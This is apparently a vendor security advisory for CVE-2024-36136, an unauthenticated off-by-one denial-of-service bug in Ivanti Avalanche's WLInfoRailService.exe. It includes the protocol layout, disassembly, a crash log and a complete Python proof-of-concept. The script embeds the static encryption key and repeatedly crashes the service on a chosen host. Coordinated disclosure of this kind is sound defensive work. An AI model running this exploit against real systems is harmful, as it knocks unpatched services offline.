Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Ivanti Avalanche WLInfoRailService.exe Off-By-One Unauthenticated DoS

High

Synopsis

An off-by-one denial-of-service vulnerability exists in Ivanti Avalanche WLInfoRailService.exe v6.4.3.0 and prior. An unauthenticated remote attacker can exploit it to terminate the process.

A message sent to WLInfoRailService.exe on TCP port 7225 has the following structure:

// be = big-endian
strut msg
{
   preamble pre;       
   CliHdrProperty hdr[]; // encrypted header
                         // array of CliHdrProperty
                         // seen: plaintext zero-padded to 32-byte boundary
                         // blowfish-ecb-encrypted with a 0x28-byte static key
                         //                         
   byte payload[];       // encrypted and optionally compressed payload
                         // plaintext zero-padded to blowfish block size (8)
                         
};

// 0x18 bytes
struct preamble
{
   be32 MsgSize;     // msg size: 0x18 + sizeof(encrypted_hdr) + sizeof(encrypted_payload)
                     // 0x18 <= size <= 0x6400000
                     // 
   be32 HdrSize;     // size of encrypted hdr
                     // 0 <= size <= 0x100000
                     //
   be32 PayloadSize; // size of payload
                     // 0 <= size <=0x6400000
                     //
   be32 DecompPayloadSize; // decompressed payload size?
                           // 0 <= size <= 0x6400000
                           // if 0, payload is not compressed
                           //
   be32 seq;         // seen: sequence number 
   byte ProtoVersion;// seen: 0x10
   byte unk;
   byte unk;
   byte enc_flag;    // encryption flag, must be non-zero; hdr and payload are encrypted
};

struct CliHdrProperty
{
   be32 type;              // property type, valid: <= 0x0D
   be32 NameSize;          // size of property name
   be32 ValueSize;         // size of property value
   byte name[NameSize];    // property name
   byte value[ValueSize];  // property value
                           // format depends on @type
                           //    0x02 - decimal string
                           //    0x0A - string
                           //    0x0B - string list separated by ;
};

The format of the message payload is dictated by the 'h.payform' CliHdrProperty in the message header. For a h.payform of 1, the payload is expected to be a list of <name>=<value> NameValue pairs separated by a newline or a carriage return character.

When processing such a payload, WLInfoRailService.exe attempts to strip the leading spaces in a NameValue pair. It looks for spaces as long as a non-space byte is not found and the current pointer (eax) is less than or equal to (jbe) pNlcrOrPayloadEnd:

// WLInfoRailService.exe, file version 6.4.3.0
[...]
.text:00423B49  mov     [esp+0CB8h+pNlcrOrPayloadEnd], ecx
.text:00423B4D  ja      short loc_423B65
.text:00423B4F
.text:00423B4F lstrip_space:            ; CODE XREF: payload_parse+A4↑j
.text:00423B4F                          ; payload_parse+C7↓j
.text:00423B4F  cmp     byte ptr [eax], 20h ; ' '
.text:00423B52  jnz     short loc_423B59
.text:00423B54  inc     eax
.text:00423B55  cmp     eax, ecx        ; ecx could point to invalid memory
.text:00423B57 vuln: off-by-one; should be jb
.text:00423B57  jbe     short lstrip_space
[...]

pNlcrOrPayloadEnd is one byte past the payload buffer if there is no newline or carriage return characters in the payload, and pNlcrOrPayloadEnd can point to inaccessible memory. This can lead to memory access violation, resulting in process termination.

An unauthenticated remote attacker can specify a payload consisting of entirely space characters to crash WLInfoRailService.exe:

0:091> g
(26b4.b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=15076000 ebx=0173a320 ecx=15076000 edx=11ac2020 esi=15076000 edi=0173a3c0
eip=00423b4f esp=02b8eb24 ebp=017ba530 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
WLInfoRailService+0x23b4f:
00423b4f 803820          cmp     byte ptr [eax],20h         ds:002b:15076000=??

PoC:

python3 avalanche_WLInfoRailService_off_by_one_dos.py -t <target-host> -p 7225
thread: 1, payload size: 0x01935fe0
thread: 2, payload size: 0x00860fe0
thread: 3, payload size: 0x0542ffe0
thread: 4, payload size: 0x058f0fe0
thread: 5, payload size: 0x0270dfe0
[...]
thread: 5, payload size: 0x0351afe0, exception: [Errno 111] Connection refused
thread: 3, payload size: 0x026c6fe0, exception: [Errno 111] Connection refused
thread: 4, payload size: 0x05e65fe0, exception: [Errno 111] Connection refused
thread: 2, payload size: 0x05244fe0, exception: [Errno 111] Connection refused
# avalanche_WLInfoRailService_off_by_one_dos.py
import socket, argparse, sys
import array, time, random, threading
from Crypto.Cipher import Blowfish
from struct import *

def mk_msg(hdr, payload, msize=None, hsize=None, psize=None, cpsize=None, seq=0):
  if hsize == None:
    hsize = len(hdr)
  if psize == None: 
    psize = len(payload)
  if cpsize == None: 
    cpsize = 0 
  msg = hdr + payload
  if msize == None:
    msize = len(msg) + 0x18
  preamble = pack('>LLLLLBBBB', msize, hsize, psize, cpsize, seq, 0x10, 0, 0, 1)
  msg = preamble + msg 
  return msg
  
def property(t, k, v):
  prop = pack('>LLL', t, len(k), len(v)) + k.encode() + v
  return prop
  
def recvall(sock, n):
  data = bytearray(b'')
  while len(data) < n:
      packet = sock.recv(n - len(data))
      if not packet:
          return None
      data += packet
  return data
  
def recv_msg(sock):
  data = bytearray(b'')
  # Read preamble
  data = recvall(sock, 0x18)
  if data == None or len(data) != 0x18:
    raise ValueError(f'Failed to read response preamble')
  # Get msg size 
  size = unpack_from('>I', data, 0)[0]
  if size < 0x18 or size > 0x6400000:
    raise ValueError(f'Invalid msg size {size:X}')
  # Get data 
  data += recvall(sock, size - 0x18)
  if len(data) != size:
    raise ValueError(f'Failed to read msg of {size:X} bytes')
  return bytes(data)
  
def encrypt(data, key):
  cipher = Blowfish.new(key, Blowfish.MODE_ECB) 
  bs = Blowfish.block_size
  plen = (bs - len(data) % bs) % bs
  padding = [0]*plen
  padding = pack('b'*plen, *padding)
  data = data + padding
  data = swap32(data)
  out = cipher.encrypt(data)
  out = swap32(out)
  return out
  
def decrypt(data, key):
  data = swap32(data)
  cipher = Blowfish.new(key, Blowfish.MODE_ECB) 
  out = cipher.decrypt(data)
  out = swap32(out)
  return out
  
def swap32(data):
  arr = array.array('I', data)
  arr.byteswap()
  return arr.tobytes()
  
def send_reg_v2(host, port):
  key =  b'\x29\x23\xbe\x84\xe1\x6c\xd6\xae\x52\x90\x49\xf1\xf1\xbb\xe9\xeb'
  key += b'\xb3\xa6\xdb\x3c\x87\x0c\x3e\x99\x24\x5e\x0d\x1c\x06\xb7\x47\xde'
  key += b'\x21\xf3\x11\x79\x1a\x0f\x74\xba'
  hdr =  property(2, 'h.msgcat', b'999999')
  hdr += property(2, 'h.msgsubcat', b'20')
  hdr += property(2, 'h.payform', b'1')
  hdr += property(11, 'h.distlist', b'255.2.1')
  n = 32
  hdr += b'\x00' * ((n - (len(hdr) % n)) % n) 
  hdr = encrypt(hdr, key)
  tname = threading.current_thread().name
  global refuse
  while True:
    try:
      psize = random.randrange(0x100, 0x6400) * 0x1000 
      for n in (0x20, 0x10, 0x08):  
        psize = psize - n 
        print(f'thread: {tname}, payload size: {psize:#010x}')
        payload = ' ' * psize 
        payload = payload.encode()
        payload = encrypt(payload,key)
        req = mk_msg(hdr, payload)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((host, port))
        s.sendall(req)
        time.sleep(1)
    except KeyboardInterrupt:
      sys.exit(0)
    except Exception as e:
      print(f'thread: {tname}, payload size: {psize:#010x}, exception: {e}')
      if 'Connection refused' in str(e):
        with lock:
          refuse += 1
          if refuse >= 3:
            sys.exit(0)
      time.sleep(1)
      pass
    finally:
      s.close()
      
#
# MAIN
#
descr = 'Ivanti Avalanche WLInfoRailService.exe Off-By-One DoS'
parser = argparse.ArgumentParser(description=descr, formatter_class=argparse.RawTextHelpFormatter)
required = parser.add_argument_group('required arguments')
required.add_argument('-t', '--target',required=True, help='target host')
parser.add_argument('-p', '--port', type=int, default=7225, help='WLInfoRailService.exe port, default: %(default)s')
parser.add_argument('-r', '--threads', type=int, default=5, help='number of threads to run the PoC, default: %(default)s')

args = parser.parse_args()
host = args.target
port = args.port
num_threads = args.threads

lock = threading.Lock()
refuse = 0
for n in range(num_threads):
  t = threading.Thread(target=send_reg_v2, args=(host, port), name=str(n+1))
  t.start()

 

Solution

Upgrade to version 6.4.4.0 or later.

Disclosure Timeline

May 28, 2024 - Tenable discloses issue to Ivanti.
June 3, 2024 - Ivanti acknowledges.
June 17, 2024 - Tenable requests status update from Ivanti.
June 18, 2024 - Ivanti provides status update and CVE identifier.
July 15, 2024 - Tenable requests status update from Ivanti.
July 15, 2024 - Ivanti provides status update and states patches should be ready by late August. Tenable acknowledges.
August 13, 2024 - Tenable requests status update from Ivanti.
August 13, 2024 - Ivanti informs Tenable that patches were released today.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2024-36136
Tenable Advisory ID: TRA-2024-30
CVSSv3 Base / Temporal Score:
7.5 / 7.0
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected Products:
Ivanti Avalanche v6.4.3.0
Risk Factor:
High

Advisory Timeline

August 13, 2024 - Initial release.